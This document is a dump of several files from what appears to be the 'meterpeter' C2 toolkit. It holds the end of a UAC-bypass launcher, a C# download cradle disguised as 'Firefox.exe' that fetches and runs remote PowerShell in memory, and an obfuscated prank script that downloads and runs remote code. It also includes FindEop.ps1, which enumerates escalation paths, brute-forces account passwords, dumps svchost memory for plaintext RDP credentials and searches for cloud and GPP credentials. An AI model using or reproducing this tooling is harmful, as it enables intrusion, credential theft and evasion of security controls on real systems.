$ShellConnection = netstat -ano|Findstr /C:"$readLog"
}
If(-not($ShellConnection) -or $ShellConnection -ieq $null)
{
#Execute EOP script without rebooting!
powershell -exec bypass -WindowStyle hidden -File "$Env:TMP\UACBypassCMSTP.ps1"
}
}
}catch{$FailedExecution = "True"
Write-Host "[x] Error: fail to execute '$Env:TMP\UACBypassCMSTP.ps1' (EOP)" -ForegroundColor Red -BackgroundColor Black
Write-Host "`n";exit #Exit @CMSTPTrigger
}
}
#Build output DataTable!
$mytable = New-Object System.Data.DataTable
$mytable.Columns.Add("MaxExec")|Out-Null
$mytable.Columns.Add("DelayTime")|Out-Null
$mytable.Columns.Add("RatLocation")|Out-Null
#Adding values to DataTable!
$mytable.Rows.Add("$LoopFor", ## max eop executions
"$DelayTime(sec)", ## Looop each seconds
"$RatLocation" ## rat client absoluct path
)|Out-Null
#Diplay output DataTable!
$mytable | Format-Table -AutoSize | Out-String -Stream | ForEach-Object {
$stringformat = If($_ -Match '^(MaxExec)'){
@{ 'ForegroundColor' = 'Green' } }Else{ @{} }
Write-Host @stringformat $_
}
#Final stdout displays
If($FailedExecution -ieq "False")
{
Write-Host "* Exit @Meterpeter and start a new handler to recive the elevated shell." -ForegroundColor Green
Write-Host " => Remenber: To manual delete artifacts from 'TMP' dir after escalation.`n" -ForegroundColor Blue
Remove-Item -Path "$Env:TMP\EOPsettings.log" -Force
}
================================================
FILE: mimiRatz/CScrandle_fileless.cs
================================================
/*
Author: @r00t-3xp10it
redpill v1.2.6 - CsOnTheFly Internal Module!
Title: StandAlone executable fileless cmdlet's download crandle.
Description: Program.cs (to be compiled to standalone executable) that allow users to fileless download\execute URL cmdlet's
Dependencies: iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/CsOnTheFly.ps1" -OutFile "CsOnTheFly.ps1"
Compile: .\CsOnTheFly.ps1 -action "compile" -uri "CScrandle_fileless.cs" -outfile "Firefox.exe" -filedescription "@Mozilla FireFox" -iconset "true"
*/
using System.Diagnostics;
namespace Console
{
class Program
{
static void Main(string[] args)
{
var filePath = @"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
Process process = new Process();
process.StartInfo.FileName = filePath;
process.StartInfo.Arguments = "$Proxy=New-Object -ComObject MsXml2.ServerXmlHttp;$Proxy.Open('GET','https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/test.ps1',0);$Proxy.Send();[scriptblock]::Create($Proxy.ResponseText).Invoke()";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
}
}
}
================================================
FILE: mimiRatz/FWUprank.ps1
================================================
<#
.SYNOPSIS
Fake Windows Update Prank
Author: @r00t-3xp10it (ssa redteam)
Tested Under: Windows 10 (19044) x64 bits
Required Dependencies: none
Optional Dependencies: none
PS cmdlet Dev version: v1.0.5
.DESCRIPTION
Auxiliary module of Meterpeter C2 v2.10.13 that executes an prank in background.
The prank opens the default web browser in fakeupdate.net website in full screen
mode. To abort the prank target user requires to manual press {F11} on is keyboard.
.NOTES
This cmdlet gets the default web browser name\path\command and operative system
version number (to select fakeupdate.net correct wallpaper) before download and
invoking sendkeys.ps1 cmdlet that opens fakeupdate.net website in full screen mode.
sendkeys.ps1 cmdlet its invoked to send keyboard keys to the browser {Enter + F11}
.Parameter AutoDelete
Auto-Delete this cmdlet in the end? (default: off)
.EXAMPLE
PS C:\> .\FWUprank.ps1
.EXAMPLE
PS C:\> powershell -file FWUprank.ps1
.EXAMPLE
PS C:\> .\FWUprank.ps1 -autodelete 'on'
Auto-Delete this cmdlet in the end
.INPUTS
None. You cannot pipe objects into FWUprank.ps1
.OUTPUTS
* Send Keys to running programs
+ Start and capture process info.
+ Success, sending key: 'https://fakeupdate.net/win11/~{F11}'
+ Process PID: '11864'
* Exit sendkeys cmdlet execution ..
.LINK
https://github.com/r00t-3xp10it/meterpeter
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$AutoDelete="off" #autodelete cmdlet in the end
)
#Global variable declarations
$ErrorActionPreference = "SilentlyContinue"
#Store operative system version
$OsVersion = [System.Environment]::OSVersion.Version.Major
If([string]::IsNullOrEmpty($OsVersion))
{
write-host "`n x" -ForegroundColor Red -NoNewline
write-host " fail to get operative sistem version number ...`n" -ForegroundColor DarkGray
return
}
#Store default web browser name
$RegexDecode = (([regex]::Matches("ecioh@Cre@sU\pt@th\sno@ita@icos@sAlrU\snoita@ico@ssA\lle@hS\swod@niW\tf@os@orciM\ERA@WTF@OS\:UCK@H",'.','RightToLeft')|ForEach{$_.value}) -join '')
$DefaultSettingPath = "$RegexDecode" -replace '@',''
$DefaultBrowserName = (Get-Item -Path "$DefaultSettingPath"|Get-ItemProperty).ProgId
If([string]::IsNullOrEmpty($DefaultBrowserName))
{
write-host "`n x" -ForegroundColor Red -NoNewline
write-host " fail to get default web browser name ...`n" -ForegroundColor DarkGray
return
}
#Create PSDrive to HK`EY_CL`ASSES_RO`OT
$ShellCommand = "`$n£u@l£l = N@e£w-£P@SD£ri@ve -P£SP@ro£vid@er r£eg@ist@ry -£Ro@o£t 'H£K@EY_£C@LAS£SE@S_£RO@O@T' -N@a@me 'H£K@C£R'" -replace '(@|£)',''
$ShellCommand|&('XeX' -replace '^(X)','i')
#Get the default browser executable command/path
$TestMeNpw = "£H@KC£R@:\$DefaultBrowserName\£s@hel@l\£o@pe@n\c£om@ma£n@d" -replace '(@|£)',''
$DefaultBrowserOpenCommand = (Get-Item "$TestMeNpw"|Get-ItemProperty).'(default)'
$DefaultBrowserPathSanitize = [regex]::Match($DefaultBrowserOpenCommand,'\".+?\"')
Remove-PSDrive -Name 'HKCR'
If([string]::IsNullOrEmpty($DefaultBrowserPathSanitize))
{
write-host "`n x" -ForegroundColor Red -NoNewline
write-host " fail to get default browser executable command/path...`n" -ForegroundColor DarkGray
return
}
#Sanitize command
$DefaultBrowserPath = $DefaultBrowserPathSanitize.value -replace '"',''
$SendKeyscmdlet = "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/sendkeys.ps1"
#Select the OS version to run
If($OsVersion -match '^(xp)$')
{
$SystemId = "xp"
}
ElseIf($OsVersion -match '^(7)$')
{
$SystemId = "win7"
}
ElseIf($OsVersion -match '^(10)$')
{
$SystemId = "win10ue"
}
ElseIf($OsVersion -match '^(11)$')
{
$SystemId = "win11"
}
Else
{
$SystemId = "win11"
}
#Download sendkes cmdlet from github
iwr -uri "$SendKeyscmdlet" -OutFile "sendkeys.ps1"
#Execute sendkeys cmdlet to open default browser in fakeupdate.net in full windows mode
.\sendkeys.ps1 -Program "$DefaultBrowserPath" -SendKey "https://fakeupdate.net/$SystemId/~{F11}"
#CleanUp
Remove-Item -Path "sendkeys.ps1" -Force
If($AutoDelete -iMatch '^(on)$')
{
#Auto Delete this cmdlet in the end ...
Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
}
================================================
FILE: mimiRatz/FindEop.ps1
================================================
<#
.SYNOPSIS
Search for Escalation Of privileges Entrys [local]
Author: @r00t-3xp10it
Tested Under: Windows 10 (19044) x64 bits
Required Dependencies: Invoke-WebRequest {native}
Optional Dependencies: ACLMitreT1574.ps1, Sherlock.ps1 {download}
PS cmdlet Dev version: v2.3.28
.DESCRIPTION
Auxiliary module of @Meterpeter C2 v2.10.14 FindEOP module, That allow users to search
for possible Escalation Of Privileges entrys [local] using diferent documented technics.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources
.NOTES
Parameter -bruteforce 'true' brute forces active user account password, while -bruteforce 'pedro'
brute forces the 'pedro' user account password. If you wish to use your own dicionary file then
create it in %tmp% directory under the name 'passwords.txt' that bruteforce function will use it.
Download\Execute FindEOP.ps1 CmdLet:
iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FindEop.ps1" -outfile "FindEOP.ps1";.\FindEOP.ps1
.Parameter Verb
Use agressive scans? [slower] (default: false)
.Parameter BruteForce
Brute force user account password? (default: false)
.EXAMPLE
PS C:\> .\FindEop.ps1
Default scan takes 3 minuts to finish
.EXAMPLE
PS C:\> .\FindEop.ps1 -verb 'true'
Agressive scan takes 6 minuts to finish
.EXAMPLE
PS C:\> .\FindEop.ps1 -bruteforce 'true'
Scans for EOP and brute force user account pass
.EXAMPLE
PS C:\> .\FindEop.ps1 -bruteforce 'pedro'
Scans for EOP and brute force pedro account pass
.INPUTS
None. You cannot pipe objects into FindEop.ps1
.OUTPUTS
Privilege Name Description State
============================= ============================================= ========
SeAssignPrimaryTokenPrivilege Replace a process-level token Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Ignore cross scan Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Augment a working set of processes Disabled
SeTimeZonePrivilege Change time zone Disabled
DIRECTORYS WITH 'FULLCONTROLL, MODIFY' PERMISSIONS
--------------------------------------------------
VulnId : 1::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Battle.net
FileSystemRights : FullControl
IdentityReference : BUILTIN\Users
IsInherited : False
VulnId : 2::ACL (Mitre T1574)
FolderPath : C:\Program Files (x86)\Resource Hacker
FileSystemRights : FullControl
IdentityReference : Everyone
IsInherited : False
.LINK
https://github.com/r00t-3xp10it/meterpeter
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$BruteForce="false",
[string]$Verb="false"
)
#Local variables
$BatVersion = "v2.3.28"
$LocalPath = (Get-Location).Path
#Demonstration logfile with credentials in cleartext
echo "Logfile created by @FindEop" > $Env:TMP\ObeeRkiE.log
echo "username: @FindEop_Demonstration" >> $Env:TMP\ObeeRkiE.log
echo "password: myS3cR3T_In_ClearText" >> $Env:TMP\ObeeRkiE.log
$host.UI.RawUI.WindowTitle = "FindEop $BatVersion {SSA RedTeam @2024}"
#Spirit of Heaven, Goddess of Fire and Life!
$Banner = @"
\ /
(())
,~L_
2~~ ^<\
)^>-\y(((GSSsss _$BatVersion
__________________________________)v_\__________________________________
(_// / / / (///////\3__________((_/ _((__________E/\\\\\\\) \ \ \ \\_)
(_/ / / / (////////////////////(c (c /^|\\\\\\\\\\\\\\\\\\\\) \ \ \ \_)
"(_/ / / /(/(/(/(/(/(/(/(/(/(/\_ /\)\)\)\)\)\)\)\)\)\)\ \ \ \_)"
"(_/ / / / / / / / / / / / /|___/\ \ \ \ \ \ \ \ \ \ \ \ \_)"
"(_(_(_(_(_(_(_(_(_(_(_(_[_]_|_)_)_)_)_)_)_)_)_)_)_)_)"
^| \
/ / /___
/ / '~~~~~__.
\_\_______________\_'_?
Spirit of Heaven, Goddess of Fire and Life
Methodology: https://shorturl.at/oJRV0 {@swisskyrepo}
"@;
Write-Host $Banner
## CmdLet Banner Timeout
Start-Sleep -Seconds 2
$FucOrNot = "£SY@S£T£E@M @IN£F@OR£MA@TI£O@N" -replace '(@|£)',''
Write-Host "$FucOrNot"
Write-Host "------------------"
$FucOrNot = "s@y£st£e@min£@fo£ @>£ s@y£st@e£mi@nf£o.@t£x@t" -replace '(@|£)',''
$FucOrNot|&('Rex' -replace 'R','i')
$FucOrNot = "s@y£st£e@min£@fo£.t@xt£" -replace '(@|£)',''
Get-Content $FucOrNot|findstr "Host OS Registered Owner: Locale:"|findstr /V /C:"Registered Organization:"|findstr /V /C:"BIOS Version:"|findstr /V /C:"OS Build Type:"|findstr /V /C:"Input Locale:"
Remove-Item -path $FucOrNot -Force
Write-Host "`n"
#List UAC settings
Write-Host "USER ACCOUNT CONTROL"
Write-Host "--------------------"
$RawPolicyKey = 'HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\system';
$UacStatus = (Get-Itemproperty -path $RawPolicyKey).EnableLUA;
$ConsentPromptBehaviorUser = (Get-Itemproperty -path $RawPolicyKey).ConsentPromptBehaviorUser;
$ConsentPromptBehaviorAdmin = (Get-Itemproperty -path $RawPolicyKey).ConsentPromptBehaviorAdmin;
If($UacStatus -eq 0)
{
Write-Host "UAC Status : Disabled REG_DWORD 0x0" -ForeGroundColor Green -BackGroundColor Black
}
ElseIf($UacStatus -eq 1)
{
Write-Host "UAC Status : Enabled REG_DWORD 0x1" -ForeGroundColor Red
}
If($ConsentPromptBehaviorAdmin -eq 5 -and $ConsentPromptBehaviorUser -eq 3)
{
Write-Host "UAC Settings : Notify Me (a:0x5|u:0x3)" -ForegroundColor Yellow
}
ElseIf($ConsentPromptBehaviorAdmin -eq 0 -and $ConsentPromptBehaviorUser -eq 3)
{
Write-Host "UAC Settings : Never Notify (a:0x0|u:0x3)" -ForeGroundColor Green -BackGroundColor Black
}
ElseIf($ConsentPromptBehaviorAdmin -eq 2 -and $ConsentPromptBehaviorUser -eq 3)
{
Write-Host "UAC Settings : Allways Notify (a:0x2|u:0x3)" -ForeGroundColor Red -BackGroundColor Black
}
Write-Host "`n"
If($Verb -ieq "True")
{
#List Anti-Virus Info
Write-Host "ANTI-VIRUS DEFINITIONS"
Write-Host "----------------------"
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Get-AVStatus.ps1" -OutFile "$Env:TMP\Get-AVStatus.ps1"|Unblock-File;
powershell -File "$Env:TMP\Get-AVStatus.ps1";Remove-Item -Path "$Env:TMP\Get-AVStatus.ps1" -Force
Write-Host "`n"
#What processes loaded am`si.dl`l?
Write-Host "PROCESSES THAT LOAD AMS`I.DL`L"
Write-Host "----------------------------"
$ParseData = "@m`s`i.d!!" #Obfucate am`si.dll API call
$ObfuscatedAPI = $ParseData -replace '@','a' -replace '!','l'
ps | Where-Object {
$_.Modules.ModuleName -contains "$ObfuscatedAPI"
}|Select-Object Handles,NPM,PM,WS,CPU,SI,ProcessName,@{Name='Loaded DLL';Expression={"$ObfuscatedAPI"}}|Format-Table -AutoSize|Out-String -Stream|Select-Object -Skip 1
}
#List UserPrivs
Write-Host "USER INFORMATION"
Write-Host "----------------"
whoami /user|Format-Table|Out-String -Stream|Select-Object -Skip 4
Write-Host "`n"
#List Local Groups
Write-Host "LIST LOCAL GROUPS"
Write-Host "-----------------"
Get-LocalGroup|Select-Object Name,SID,PrincipalSource|Format-table -AutoSize|Out-String -Stream|Select-Object -Skip 1|ForEach-Object {
$stringformat = If($_ -iMatch '^(Administra)')
{
@{ 'ForegroundColor' = 'Yellow' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
#List HotFixes
Write-Host "LIST HOTFIXES INSTALLED"
Write-Host "-----------------------"
Get-HotFix|Select-Object Description,HotFixID,InstalledBy,InstalledOn|Format-table -AutoSize|Out-String -Stream|Select-Object -Skip 1|Select-Object -SkipLast 1|ForEach-Object {
$stringformat = If($_ -iMatch '^(Security Update)')
{
@{ 'ForegroundColor' = 'Yellow' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
Write-Host ""
#List Privileges
Write-Host "PRIVILEGES INFORMATION"
Write-Host "----------------------"
whoami /priv|Format-Table|Out-String -Stream|Select-Object -Skip 4|ForEach-Object {
$stringformat = If($_ -iMatch '(Enabled)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
Write-Host "`n"
#Abusing the golden privileges
Write-Host "JUICY POTATO GOLDEN PRIVILEGES"
Write-Host "[i] vulnerable priv if shell is running with low privileges" -ForeGroundColor Yellow
Write-Host "-----------------------------------------------------------"
If($Verb -ieq "False")
{
$juicy = whoami /priv|findstr /i /C:'SeImpersonatePrivileges' /i /C:'SeAssignPrimaryTokenPrivilege'|findstr /i /C:'Enabled';
If(-not($juicy))
{
write-host "[GOLDEN] None vulnerable token privileges found."
}
Else
{
Write-Host $juicy -ForeGroundColor Green
}
}
Else
{
#NOTE: FindEop.ps1 -verb 'true' - triggers more elaborated checks (slower)
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT|Out-Null;
$CLSID = (Get-ItemProperty HKCR:\clsid\* | Select-Object * | Where-Object {
$_.appid -ne $null}).PSChildName|Select -Last 2;ForEach($a in $CLSID)
{
Write-Host "[CLSID:] $a" -ForegroundColor DarkGray
}
$juicy = whoami /priv|findstr /i /C:'SeImpersonatePrivileges' /i /C:'SeAssignPrimaryTokenPrivilege'|findstr /i /C:'Enabled';
If(-not($juicy))
{
write-host "[GOLDEN] None vulnerable token privileges found." -ForeGroundColor Red
}
Else
{
Write-Host $juicy -ForeGroundColor Green
}
}
write-host "`n"
#Rotten Potato Silver Privileges
write-host "ROTTEN POTATO SILVER PRIVILEGES"
Write-Host "[i] vulnerable priv if shell is running with low privileges" -ForeGroundColor Yellow
write-host "-----------------------------------------------------------"
$RottenPotato = whoami /priv|findstr /C:'SeImpersonatePrivilege' /C:'SeAssignPrimaryPrivilege' /C:'SeTcbPrivilege' /C:'SeBackupPrivilege' /C:'SeRestorePrivilege' /C:'SeCreateTokenPrivilege' /C:'SeLoadDriverPrivilege' /C:'SeTakeOwnershipPrivilege' /C:'SeDebugPrivileges'|findstr /C:'Enabled';
If(-not($RottenPotato))
{
write-host "[SILVER] None vulnerable token privileges found."
}
Else
{
Write-Host $RottenPotato -ForeGroundColor Green
}
write-host "`n"
#Check For Named Pipes
write-host "CHECK FOR NAMED PIPES"
#[System.IO.Directory]::GetFiles("\\.\pipe\")
#Check for Named Pipes. This can be exploited to obtain the privileges of a process connecting to them.
If($Verb -ieq "False")
{
Write-Host "[i] First 5 pipes found." -ForeGroundColor Yellow
Write-Host "------------------------"
$CheckPipes = (Get-ChildItem \\.\pipe\ -EA SilentlyContinue).FullName;
If($CheckPipes)
{
Write-Host "[VULNERABLE::T1574]" -ForeGroundColor Green -BackGroundColor Black;
$Report = $CheckPipes|Select -Skip 1|Select -First 5;echo $Report
}
Else
{
Write-Host "ERROR: None Name Pipes found .."
}
}
Else
{
Write-Host "[i] First 10 pipes found." -ForeGroundColor Yellow
Write-Host "-------------------------"
$CheckPipes = (Get-ChildItem \\.\pipe\ -EA SilentlyContinue).FullName;
If($CheckPipes)
{
Write-Host "[VULNERABLE::T1574]" -ForeGroundColor Green -BackGroundColor Black;
$Report = $CheckPipes|Select -Skip 1|Select -First 10;echo $Report
}
Else
{
Write-Host "ERROR: None Name Pipes found .."
}
}
write-host "`n"
#Environement Paths
Write-Host "ENVIRONEMENT PATHS"
Write-Host "------------------"
($Env:Path) -Split ';'
Write-Host "`n"
#Environement paths entries permissions
Write-Host "SCANNING ENVIRONEMENT PATHS PERMISSIONS"
Write-Host "[i] Place exe or DLL to exec instead of legitimate" -ForeGroundColor Yellow
Write-Host "--------------------------------------------------"
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/ACLMitreT1574.ps1" -OutFile "$Env:TMP\ACLMitreT1574.ps1"|Unblock-File
If($Verb -ieq "False")
{
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action path -Egg true
}
Else
{
#NOTE: FindEop.ps1-verb 'true' - triggers more elaborated checks (slower)
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action path -extraGroup true -extraperm true -Egg true
}
Write-Host "`n"
#User Directorys with fullCONTROL or modify permisions
If($verb -ieq "False")
{
Write-Host "DIRECTORYS WITH 'FULLCONTROLL, MODIFY' PERMISSIONS"
Write-Host "[i] Scanning All %PROGRAMFILES% directorys recursive ...." -ForeGroundColor Yellow
Write-Host "---------------------------------------------------------"
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action dir -Egg true
}
Else
{
Write-Host "DIRECTORYS WITH 'FULLCONTROLL, MODIFY, WRITE' PERMISSIONS"
Write-Host "[i] Scanning All %PROGRAMFILES% directorys recursive ...." -ForeGroundColor Yellow
Write-Host "---------------------------------------------------------"
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action dir -extraGroup true -extraperm true -Egg true
}
Write-Host "`n"
#List Unquoted Service Paths
Write-Host "SEARCHING FOR UNQUOTED SERVICE PATHS"
Write-Host "------------------------------------"
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/modules/Sherlock.ps1" -OutFile "$Env:TMP\Sherlock.ps1"|Unblock-File
Import-Module -Name "$Env:TMP\Sherlock.ps1" -Force;Get-Unquoted SE|Out-String -Stream|Select-Object -Skip 1
Write-Host "* ElapsedTime:" -ForegroundColor Blue -BackgroundColor Black -NoNewline;
Write-Host "00:00:03" -ForegroundColor Green -BackgroundColor Black -NoNewline;
Write-Host " - scantype:" -ForegroundColor Blue -BackgroundColor Black -NoNewline;
Write-Host "Unquoted" -ForegroundColor Green -BackgroundColor Black;
Write-Host "`n"
Write-Host "WEAK SERVICES REGISTRY PERMISSIONS"
Write-Host "----------------------------------"
#(Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\services\*" -EA SilentlyContinue).PSPath
If($verb -ieq "False")
{
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action reg -Egg true
}
Else
{
powershell -File $Env:TMP\ACLMitreT1574.ps1 -action reg -extraGroup true -Egg true
}
Remove-Item -path "$Env:TMP\ACLMitreT1574.ps1" -Force
Write-Host "`n"
#Define Batch title again because sherlock.ps1 + ACLMitreT1574.ps1 changed it ..
$host.UI.RawUI.WindowTitle = "@FindEop $BatVersion {SSA RedTeam @2022}"
#List Programs that run at startup
Write-Host "SEARCHING PROGRAMS THAT RUN AT STARTUP"
Write-Host "--------------------------------------"
Get-CimInstance Win32_StartupCommand|Select-Object Name,Command,Location,User|Format-List|Out-String -Stream|Select-Object -Skip 2|Select-Object -SkipLast 2|ForEach-Object {
$stringformat = If($_ -Match '^(Command :)')
{
@{ 'ForegroundColor' = 'Green' }
}
ElseIf($_ -iMatch '^(Location :)')
{
@{ 'ForegroundColor' = 'Yellow' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
Write-Host ""
#List tasks running under system privs
Write-Host "TASKS RUNNING UNDER 'SYSTEM' PRIVILEGES"
Write-Host "---------------------------------------"
tasklist /fi 'username eq system'|Format-Table|Out-String -Stream|Select-Object -Skip 1
Write-Host "`n"
## REGISTRY SEARCH ##
#Get Domain Controllers
Write-Host "GET DOMAIN CONTROLLERS"
Write-Host "----------------------"
$DomainControler = $Env:USERDOMAIN;
Write-Host DCName::[$DomainControler] 0x995 -ForeGroundColor Yellow;
$um = nltest /DCNAME:$DomainControler;
$do = nltest /DSGETDC:$DomainControler;
$li = nltest /DCLIST:$DomainControler;
If($um -ieq $null -or $do -ieq $null -or $li -ieq $null)
{
Write-Host "[MITRE::T1069] fail to found a valid DC name." -ForeGroundColor Red -BackGroundColor Black
}
Write-Host "`n"
#Powershell engine settings
Write-Host "DETECTING POWERSHELL ENGINE"
Write-Host "---------------------------"
$PSDefaultVersion = (Get-Host).Version.ToString();
write-host "PowershellDefault : $PSDefaultVersion" -ForeGroundColor Yellow
$TESTREGISTRY = reg query "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion | findstr /C:'2.0';
If($TESTREGISTRY)
{
Write-Host "PowerShellVersion : 2.0 => [VULNERABLE::T1562]" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "ERROR: The system was unable to find the specified registry key or value."
}
(reg query "HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" /v PowerShellVersion | findstr /C:'5.') -replace ' PowerShellVersion REG_SZ ','PowerShellVersion :'
(reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging | findstr /C:'0x1') -replace ' EnableModuleLogging REG_DWORD 0x1','EnableModuleLogging : True'
(reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging | findstr /C:'0x1') -replace ' EnableScriptBlockLogging REG_DWORD 0x1','EnableScriptBlockLogging : True'
Write-Host "`n"
Start-Sleep -Milliseconds 800
#Is RDP access Enabled?
Write-Host "IS RDP ACCESS ENABLED?"
Write-Host "----------------------"
try{
$TESTREGISTRY = Get-ItemPropertyValue -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name fDenyTSConnections -EA SilentlyContinue;
If($TESTREGISTRY -Match '0')
{
Write-Host "[RDP] Connections: Allowed fDenyTSConnections REG_DWORD 0X$TESTREGISTRY" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[RDP] Connections: NotAllowed REG_DWORD 0x1."
}
}catch{
Write-Host "[RDP] Connections: NotAllowed REG_DWORD 0x1."
}
Write-Host "`n"
#Remote Desktop Credentials Manager
Write-Host "REMOTE DESKTOP CREDENTIALS MANAGER"
Write-Host "----------------------------------"
If(Test-Path -Path "$Env:LOCALAPPDATA\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" -ErrorAction SilentlyContinue)
{
Write-Host "Exists : True"
Write-Host "Name : RDCMan.settings"
Write-Host "Directory : %LOCALAPPDATA%\Microsoft\Remote Desktop Connection Manager" -ForeGroundColor Green
Write-Host "vulnerablity : Credentials are stored inside [ .rdg ] files .." -ForeGroundColor Yellow
}
Else
{
Write-Host "[RDP] not found: %LOCALAPPDATA%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings"
}
Write-Host "`n"
Write-Host "DUMPING PLAINTEXT RDP CREDENTIALS FROM SVCHOST" #WSearch
Write-Host "[i] Credentials are stored in plaintext in memory" -ForeGroundColor Yellow
Write-Host "-------------------------------------------------"
If((Get-Service -Name "termservice" -EA SilentlyContinue).Status -ieq "Running")
{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "RDP" -ForeGroundColor Green -NoNewline;
Write-Host "] 'termservice' service running! [" -ForeGroundColor DarkGray -NoNewline;
Write-Host "OK" -ForeGroundColor Green -NoNewline;
Write-Host "]" -ForeGroundColor DarkGray;
## Query for svchost service Id (Responding) which has loaded rdpcorets.dll
# $QueryTasts = tasklist /M:rdpcorets.dll|findstr "svchost"
$PPID = (PS -EA SilentlyContinue | Where-Object {
$_.ProcessName -iMatch 'svchost' -and $_.Responding -iMatch 'True' -and $_.Modules.ModuleName -iMatch "rdpcorets.dll"
}).Id
If($PPID)
{
$IPATH = (Get-Location).Path.ToString()
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "RDP" -ForeGroundColor Green -NoNewline;
Write-Host "] 'rdpcorets.dll' loaded by svchost! [" -ForeGroundColor DarkGray -NoNewline;
Write-Host "VULNERABLE::T1021" -ForeGroundColor Green -NoNewline;
Write-Host "]" -ForeGroundColor DarkGray;
Start-Sleep -Milliseconds 1400
#Get-ProcessMiniDump requires Administrator privileges to run!
$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
If($bool)
{
#Download Get-ProcessMiniDump cmdlet from my GitHub repo
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/Get-ProcessMiniDump.ps1" -OutFile "$Env:TMP\Get-ProcessMiniDump.ps1"|Unblock-File
cd $Env:TMP
Import-Module -Name .\Get-ProcessMiniDump.ps1 -Force
Get-ProcessMiniDump -ProcID $PPID -Path "$Env:TMP\rdpcoretsDLL.out"
## Use comsvc.dll to dump svchost process (alternative to above cmdline)
# .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "RDP" -ForeGroundColor Green -NoNewline;
Write-Host "] 'svchost' dumped to '" -ForeGroundColor DarkGray -NoNewline;
Write-Host "$Env:TMP\rdpcoretsDLL.out" -ForeGroundColor Green -NoNewline;
Write-Host "'" -ForeGroundColor DarkGray;
Remove-Item -Path "$Env:TMP\Get-ProcessMiniDump.ps1" -EA SilentlyContinue -Force
cd $IPATH
}
Else
{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "RDP" -ForeGroundColor Red -NoNewline;
Write-Host "] 'Get-ProcessMiniDump' requires administrator privileges! [" -ForeGroundColor DarkGray -NoNewline;
Write-Host "FAIL" -ForeGroundColor Red -NoNewline;
Write-Host "]" -ForeGroundColor DarkGray;
}
}
Else
{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "RDP" -ForeGroundColor Red -NoNewline;
Write-Host "] 'rdpcorets.dll' not loaded by svchost service! [" -ForeGroundColor DarkGray -NoNewline;
Write-Host "FAIL" -ForeGroundColor Red -NoNewline;
Write-Host "]" -ForeGroundColor DarkGray;
}
}
Else
{
Write-Host "[RDP] 'termservice' service stopped!" -ForeGroundColor Red -BackGroundColor Black
}
write-host "`n"
If($verb -ieq "True")
{
#Cloud db Credentials in C:\Users
Write-Host "CLOUD CREDENTIALS in $Env:USERPROFILE"
Write-Host "-----------------------------------"
$TESTFILES = (Get-ChildItem -Path "$Env:USERPROFILE" -Recurse -Include 'credentials.db','access_tokens.db','accessTokens.json','azureProfile.json','legacy_credentials','gcloud' -Exclude 'Saved Games','Starcraft II','Music','Searches','Favorites','Videos','Battle.net','old_Cache_000','CacheStorage','GPUCache' -Force -EA SilentlyContinue).FullName;
If($TESTFILES)
{
Write-Host "[CLOUD] $TESTFILES" -ForeGroundColor Green -BackGroundColor Black
}
Else
{
Write-Host "[CLOUD] not found: credentials in db files." -ForeGroundColor Red -BackGroundColor Black
}
Write-Host "`n"
}
#List unattend.xml files
Write-Host "LIST UNATTEND.XML FILES EXISTENCE"
Write-Host "[i] Creds are stored in base64 and can be decoded manually." -ForeGroundColor Yellow
Write-Host "----------------------------------------------------------"
findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml
